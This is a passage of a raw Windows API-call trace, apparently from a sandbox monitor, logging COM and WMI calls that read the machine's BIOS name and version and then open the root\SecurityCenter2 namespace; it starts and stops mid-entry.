0x0 [0157.441] IUnknown:Release (This=0x1b349dd8) returned 0x3 [0157.441] CoGetContextToken (in: pToken=0x1b0bb390 | out: pToken=0x1b0bb390) returned 0x0 [0157.441] CoGetContextToken (in: pToken=0x1b0bb810 | out: pToken=0x1b0bb810) returned 0x0 [0157.441] IUnknown:QueryInterface (in: This=0x1b349dd0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb8d0 | out: ppvObject=0x1b0bb8d0*=0x0) returned 0x80004002 [0157.441] IUnknown:Release (This=0x1b349dd0) returned 0x2 [0157.441] CoGetContextToken (in: pToken=0x1b0bbed0 | out: pToken=0x1b0bbed0) returned 0x0 [0157.441] CoGetContextToken (in: pToken=0x1b0bbdd0 | out: pToken=0x1b0bbdd0) returned 0x0 [0157.442] IUnknown:QueryInterface (in: This=0x1b349dd0, riid=0x1b0bbf30*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b0bbf00 | out: ppvObject=0x1b0bbf00*=0x1b349dd0) returned 0x0 [0157.442] IUnknown:AddRef (This=0x1b349dd0) returned 0x4 [0157.442] IUnknown:Release (This=0x1b349dd0) returned 0x3 [0157.442] IUnknown:Release (This=0x1b349dd0) returned 0x2 [0157.442] CoTaskMemFree (pv=0x1b32aff0) [0157.442] CoGetContextToken (in: pToken=0x1b0bc2a0 | out: pToken=0x1b0bc2a0) returned 0x0 [0157.442] IUnknown:AddRef (This=0x1b349dd0) returned 0x3 [0157.442] IWbemClassObject:Get (in: This=0x1b349dd0, wszName="__GENUS", lFlags=0, pVal=0x1b0bc860*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b0bc988*=0, plFlavor=0x1b0bc980*=0 | out: pVal=0x1b0bc860*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1b0bc988*=3, plFlavor=0x1b0bc980*=64) returned 0x0 [0157.442] IWbemClassObject:Get (in: This=0x1b349dd0, wszName="__PATH", lFlags=0, pVal=0x1b0bc810*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b0bc940*=0, plFlavor=0x1b0bc938*=0 | out: pVal=0x1b0bc810*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\root\\CIMV2:Win32_BIOS.Name=\"Default System BIOS\",SoftwareElementID=\"Default System BIOS\",SoftwareElementState=3,TargetOperatingSystem=0,Version=\"FUJ - 1\"", varVal2=0x0), pType=0x1b0bc940*=8, plFlavor=0x1b0bc938*=64) returned 0x0 [0157.442] SysStringByteLen (bstr="\\\\XC64ZB\\root\\CIMV2:Win32_BIOS.Name=\"Default System BIOS\",SoftwareElementID=\"Default System BIOS\",SoftwareElementState=3,TargetOperatingSystem=0,Version=\"FUJ - 1\"") returned 0x14a [0157.442] SysStringByteLen (bstr="\\\\XC64ZB\\root\\CIMV2:Win32_BIOS.Name=\"Default System BIOS\",SoftwareElementID=\"Default System BIOS\",SoftwareElementState=3,TargetOperatingSystem=0,Version=\"FUJ - 1\"") returned 0x14a [0157.443] CoGetObjectContext (in: riid=0x27128a8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bc888 | out: ppv=0x1b0bc888*=0x4b0108) returned 0x0 [0157.443] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1b0bc878 | out: pAptType=0x1b0bc878*=1) returned 0x0 [0157.443] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x2712888*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b0bc880 | out: ppvObject=0x1b0bc880*=0x0) returned 0x80004002 [0157.443] IUnknown:Release (This=0x4b0108) returned 0x1 [0157.443] CoGetClassObject (in: rclsid=0x1b2eae48*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bbc78 | out: ppv=0x1b0bbc78*=0x1b33c920) returned 0x0 [0157.444] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b33c920, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bbd60 | out: ppvObject=0x1b0bbd60*=0x0) returned 0x80004002 [0157.444] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b33c920, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbd38 | out: ppvObject=0x1b0bbd38*=0x4f3100) returned 0x0 [0157.444] WbemDefPath:IUnknown:Release (This=0x1b33c920) returned 0x0 [0157.444] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3100, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbae0 | out: ppvObject=0x1b0bbae0*=0x4f3100) returned 0x0 [0157.444] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3100, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bbb70 | out: ppvObject=0x1b0bbb70*=0x0) returned 0x80004002 [0157.444] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3100, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bb368 | out: ppvObject=0x1b0bb368*=0x0) returned 0x80004002 [0157.444] WbemDefPath:IUnknown:AddRef (This=0x4f3100) returned 0x3 [0157.444] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3100, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb228 | out: ppvObject=0x1b0bb228*=0x0) returned 0x80004002 [0157.444] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3100, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bb1b0 | out: ppvObject=0x1b0bb1b0*=0x0) returned 0x80004002 [0157.444] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3100, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb1a0 | out: ppvObject=0x1b0bb1a0*=0x1b33cca0) returned 0x0 [0157.444] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b33cca0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0bb1c8 | out: pCid=0x1b0bb1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.444] WbemDefPath:IUnknown:Release (This=0x1b33cca0) returned 0x3 [0157.444] CoGetContextToken (in: pToken=0x1b0bb250 | out: pToken=0x1b0bb250) returned 0x0 [0157.444] CoGetContextToken (in: pToken=0x1b0bb6d0 | out: pToken=0x1b0bb6d0) returned 0x0 [0157.444] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3100, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb790 | out: ppvObject=0x1b0bb790*=0x0) returned 0x80004002 [0157.445] WbemDefPath:IUnknown:Release (This=0x4f3100) returned 0x2 [0157.445] WbemDefPath:IUnknown:Release (This=0x4f3100) returned 0x1 [0157.445] CoGetContextToken (in: pToken=0x1b0bc4c0 | out: pToken=0x1b0bc4c0) returned 0x0 [0157.445] CoGetContextToken (in: pToken=0x1b0bc3c0 | out: pToken=0x1b0bc3c0) returned 0x0 [0157.445] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3100, riid=0x1b0bc520*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b0bc4f0 | out: ppvObject=0x1b0bc4f0*=0x4f3100) returned 0x0 [0157.445] WbemDefPath:IUnknown:AddRef (This=0x4f3100) returned 0x3 [0157.445] WbemDefPath:IUnknown:Release (This=0x4f3100) returned 0x2 [0157.445] WbemDefPath:IWbemPath:SetText (This=0x4f3100, uMode=0x4, pszPath="\\\\XC64ZB\\root\\CIMV2:Win32_BIOS.Name=\"Default System BIOS\",SoftwareElementID=\"Default System BIOS\",SoftwareElementState=3,TargetOperatingSystem=0,Version=\"FUJ - 1\"") returned 0x0 [0157.445] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f3c40, puCount=0x1b0bc8a8 | out: puCount=0x1b0bc8a8*=0x2) returned 0x0 [0157.445] WbemDefPath:IWbemPath:GetText (in: This=0x4f3c40, lFlags=4, puBuffLength=0x1b0bc8a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc8a0*=0xf, pszText=0x0) returned 0x0 [0157.445] WbemDefPath:IWbemPath:GetText (in: This=0x4f3c40, lFlags=4, puBuffLength=0x1b0bc8a0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc8a0*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0157.445] CoGetContextToken (in: pToken=0x1b0bc670 | out: pToken=0x1b0bc670) returned 0x0 [0157.446] WbemLocator:IUnknown:Release (This=0x1b351048) returned 0x1 [0157.446] IUnknown:Release (This=0x1b315e50) returned 0x0 [0157.447] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f3c40, puCount=0x1b0bc958 | out: puCount=0x1b0bc958*=0x2) returned 0x0 [0157.447] WbemDefPath:IWbemPath:GetText (in: This=0x4f3c40, lFlags=4, puBuffLength=0x1b0bc950*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc950*=0xf, pszText=0x0) returned 0x0 [0157.447] WbemDefPath:IWbemPath:GetText (in: This=0x4f3c40, lFlags=4, puBuffLength=0x1b0bc950*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc950*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0157.447] IWbemClassObject:Get (in: This=0x1b349dd0, wszName="Name", lFlags=0, pVal=0x1b0bc910*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b57f10*=0, plFlavor=0x2b57f14*=0 | out: pVal=0x1b0bc910*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Default System BIOS", varVal2=0x0), pType=0x2b57f10*=8, plFlavor=0x2b57f14*=0) returned 0x0 [0157.447] SysStringByteLen (bstr="Default System BIOS") returned 0x26 [0157.447] SysStringByteLen (bstr="Default System BIOS") returned 0x26 [0157.447] IWbemClassObject:Get (in: This=0x1b349dd0, wszName="Name", lFlags=0, pVal=0x1b0bc960*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b57f10*=8, plFlavor=0x2b57f14*=0 | out: pVal=0x1b0bc960*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Default System BIOS", varVal2=0x0), pType=0x2b57f10*=8, plFlavor=0x2b57f14*=0) returned 0x0 [0157.447] SysStringByteLen (bstr="Default System BIOS") returned 0x26 [0157.447] SysStringByteLen (bstr="Default System BIOS") returned 0x26 [0157.447] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f3c40, puCount=0x1b0bc958 | out: puCount=0x1b0bc958*=0x2) returned 0x0 [0157.447] WbemDefPath:IWbemPath:GetText (in: This=0x4f3c40, lFlags=4, puBuffLength=0x1b0bc950*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc950*=0xf, pszText=0x0) returned 0x0 [0157.447] WbemDefPath:IWbemPath:GetText (in: This=0x4f3c40, lFlags=4, puBuffLength=0x1b0bc950*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc950*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0157.448] IWbemClassObject:Get (in: This=0x1b349dd0, wszName="Name", lFlags=0, pVal=0x1b0bc910*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b58008*=0, plFlavor=0x2b5800c*=0 | out: pVal=0x1b0bc910*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Default System BIOS", varVal2=0x0), pType=0x2b58008*=8, plFlavor=0x2b5800c*=0) returned 0x0 [0157.448] SysStringByteLen (bstr="Default System BIOS") returned 0x26 [0157.448] SysStringByteLen (bstr="Default System BIOS") returned 0x26 [0157.448] IWbemClassObject:Get (in: This=0x1b349dd0, wszName="Name", lFlags=0, pVal=0x1b0bc960*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b58008*=8, plFlavor=0x2b5800c*=0 | out: pVal=0x1b0bc960*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Default System BIOS", varVal2=0x0), pType=0x2b58008*=8, plFlavor=0x2b5800c*=0) returned 0x0 [0157.448] SysStringByteLen (bstr="Default System BIOS") returned 0x26 [0157.448] SysStringByteLen (bstr="Default System BIOS") returned 0x26 [0157.448] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f3c40, puCount=0x1b0bc958 | out: puCount=0x1b0bc958*=0x2) returned 0x0 [0157.448] WbemDefPath:IWbemPath:GetText (in: This=0x4f3c40, lFlags=4, puBuffLength=0x1b0bc950*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc950*=0xf, pszText=0x0) returned 0x0 [0157.448] WbemDefPath:IWbemPath:GetText (in: This=0x4f3c40, lFlags=4, puBuffLength=0x1b0bc950*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc950*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0157.448] IWbemClassObject:Get (in: This=0x1b349dd0, wszName="Version", lFlags=0, pVal=0x1b0bc910*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b58180*=0, plFlavor=0x2b58184*=0 | out: pVal=0x1b0bc910*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="FUJ - 1", varVal2=0x0), pType=0x2b58180*=8, plFlavor=0x2b58184*=0) returned 0x0 [0157.448] SysStringByteLen (bstr="FUJ - 1") returned 0x14 [0157.448] SysStringByteLen (bstr="FUJ - 1") returned 0x14 [0157.448] IWbemClassObject:Get (in: This=0x1b349dd0, wszName="Version", lFlags=0, pVal=0x1b0bc960*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b58180*=8, plFlavor=0x2b58184*=0 | out: pVal=0x1b0bc960*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="FUJ - 1", varVal2=0x0), pType=0x2b58180*=8, plFlavor=0x2b58184*=0) returned 0x0 [0157.449] SysStringByteLen (bstr="FUJ - 1") returned 0x14 [0157.449] SysStringByteLen (bstr="FUJ - 1") returned 0x14 [0157.449] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f3c40, puCount=0x1b0bc958 | out: puCount=0x1b0bc958*=0x2) returned 0x0 [0157.449] WbemDefPath:IWbemPath:GetText (in: This=0x4f3c40, lFlags=4, puBuffLength=0x1b0bc950*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc950*=0xf, pszText=0x0) returned 0x0 [0157.449] WbemDefPath:IWbemPath:GetText (in: This=0x4f3c40, lFlags=4, puBuffLength=0x1b0bc950*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc950*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0157.449] IWbemClassObject:Get (in: This=0x1b349dd0, wszName="Version", lFlags=0, pVal=0x1b0bc910*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b58258*=0, plFlavor=0x2b5825c*=0 | out: pVal=0x1b0bc910*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="FUJ - 1", varVal2=0x0), pType=0x2b58258*=8, plFlavor=0x2b5825c*=0) returned 0x0 [0157.449] SysStringByteLen (bstr="FUJ - 1") returned 0x14 [0157.449] SysStringByteLen (bstr="FUJ - 1") returned 0x14 [0157.449] IWbemClassObject:Get (in: This=0x1b349dd0, wszName="Version", lFlags=0, pVal=0x1b0bc960*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b58258*=8, plFlavor=0x2b5825c*=0 | out: pVal=0x1b0bc960*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="FUJ - 1", varVal2=0x0), pType=0x2b58258*=8, plFlavor=0x2b5825c*=0) returned 0x0 [0157.449] SysStringByteLen (bstr="FUJ - 1") returned 0x14 [0157.449] SysStringByteLen (bstr="FUJ - 1") returned 0x14 [0157.542] CoGetObjectContext (in: riid=0x27128a8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bca58 | out: ppv=0x1b0bca58*=0x4b0108) returned 0x0 [0157.543] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1b0bca48 | out: pAptType=0x1b0bca48*=1) returned 0x0 [0157.543] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x2712888*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b0bca50 | out: ppvObject=0x1b0bca50*=0x0) returned 0x80004002 [0157.543] IUnknown:Release (This=0x4b0108) returned 0x1 [0157.543] CoGetClassObject (in: rclsid=0x1b2eae48*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bbe48 | out: ppv=0x1b0bbe48*=0x1b320de0) returned 0x0 [0157.544] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b320de0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bbf30 | out: ppvObject=0x1b0bbf30*=0x0) returned 0x80004002 [0157.544] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b320de0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbf08 | out: ppvObject=0x1b0bbf08*=0x4f2c80) returned 0x0 [0157.544] WbemDefPath:IUnknown:Release (This=0x1b320de0) returned 0x0 [0157.544] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f2c80, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbcb0 | out: ppvObject=0x1b0bbcb0*=0x4f2c80) returned 0x0 [0157.544] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f2c80, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bbd40 | out: ppvObject=0x1b0bbd40*=0x0) returned 0x80004002 [0157.544] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f2c80, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bb538 | out: ppvObject=0x1b0bb538*=0x0) returned 0x80004002 [0157.544] WbemDefPath:IUnknown:AddRef (This=0x4f2c80) returned 0x3 [0157.544] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f2c80, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb3f8 | out: ppvObject=0x1b0bb3f8*=0x0) returned 0x80004002 [0157.544] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f2c80, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bb380 | out: ppvObject=0x1b0bb380*=0x0) returned 0x80004002 [0157.544] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f2c80, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb370 | out: ppvObject=0x1b0bb370*=0x1b320c20) returned 0x0 [0157.544] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b320c20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0bb398 | out: pCid=0x1b0bb398*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.544] WbemDefPath:IUnknown:Release (This=0x1b320c20) returned 0x3 [0157.544] CoGetContextToken (in: pToken=0x1b0bb420 | out: pToken=0x1b0bb420) returned 0x0 [0157.544] CoGetContextToken (in: pToken=0x1b0bb8a0 | out: pToken=0x1b0bb8a0) returned 0x0 [0157.545] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f2c80, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb960 | out: ppvObject=0x1b0bb960*=0x0) returned 0x80004002 [0157.545] WbemDefPath:IUnknown:Release (This=0x4f2c80) returned 0x2 [0157.545] WbemDefPath:IUnknown:Release (This=0x4f2c80) returned 0x1 [0157.545] CoGetContextToken (in: pToken=0x1b0bc690 | out: pToken=0x1b0bc690) returned 0x0 [0157.545] CoGetContextToken (in: pToken=0x1b0bc590 | out: pToken=0x1b0bc590) returned 0x0 [0157.545] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f2c80, riid=0x1b0bc6f0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b0bc6c0 | out: ppvObject=0x1b0bc6c0*=0x4f2c80) returned 0x0 [0157.545] WbemDefPath:IUnknown:AddRef (This=0x4f2c80) returned 0x3 [0157.545] WbemDefPath:IUnknown:Release (This=0x4f2c80) returned 0x2 [0157.545] WbemDefPath:IWbemPath:SetText (This=0x4f2c80, uMode=0x4, pszPath="root\\SecurityCenter2") returned 0x0 [0157.545] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2c80, puCount=0x1b0bca78 | out: puCount=0x1b0bca78*=0x2) returned 0x0 [0157.545] WbemDefPath:IWbemPath:GetText (in: This=0x4f2c80, lFlags=4, puBuffLength=0x1b0bca70*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bca70*=0x19, pszText=0x0) returned 0x0 [0157.545] WbemDefPath:IWbemPath:GetText (in: This=0x4f2c80, lFlags=4, puBuffLength=0x1b0bca70*=0x19, pszText="000000000000000000000000" | out: puBuffLength=0x1b0bca70*=0x19, pszText="\\\\.\\root\\SecurityCenter2") returned 0x0 [0157.545] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2c80, puCount=0x1b0bca88 | out: puCount=0x1b0bca88*=0x2) returned 0x0 [0157.545] WbemDefPath:IWbemPath:GetText (in: This=0x4f2c80, lFlags=4, puBuffLength=0x1b0bca80*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bca80*=0x19, pszText=0x0) returned 0x0 [0157.545] WbemDefPath:IWbemPath:GetText (in: This=0x4f2c80, lFlags=4, puBuffLength=0x1b0bca80*=0x19, pszText="000000000000000000000000" | out: puBuffLength=0x1b0bca80*=0x19, pszText="\\\\.\\root\\SecurityCenter2") returned 0x0 [0157.545] CoGetObjectContext (in: riid=0x27128a8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bca08 | out: ppv=0x1b0bca08*=0x4b0108) returned 0x0 [0157.545] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1b0bc9f8 | out: pAptType=0x1b0bc9f8*=1) returned 0x0 [0157.545] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x2712888*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b0bca00 | out: ppvObject=0x1b0bca00*=0x0) returned 0x80004002 [0157.545] IUnknown:Release (This=0x4b0108) returned 0x1 [0157.546] CoGetClassObject (in: rclsid=0x1b2eb4c8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, 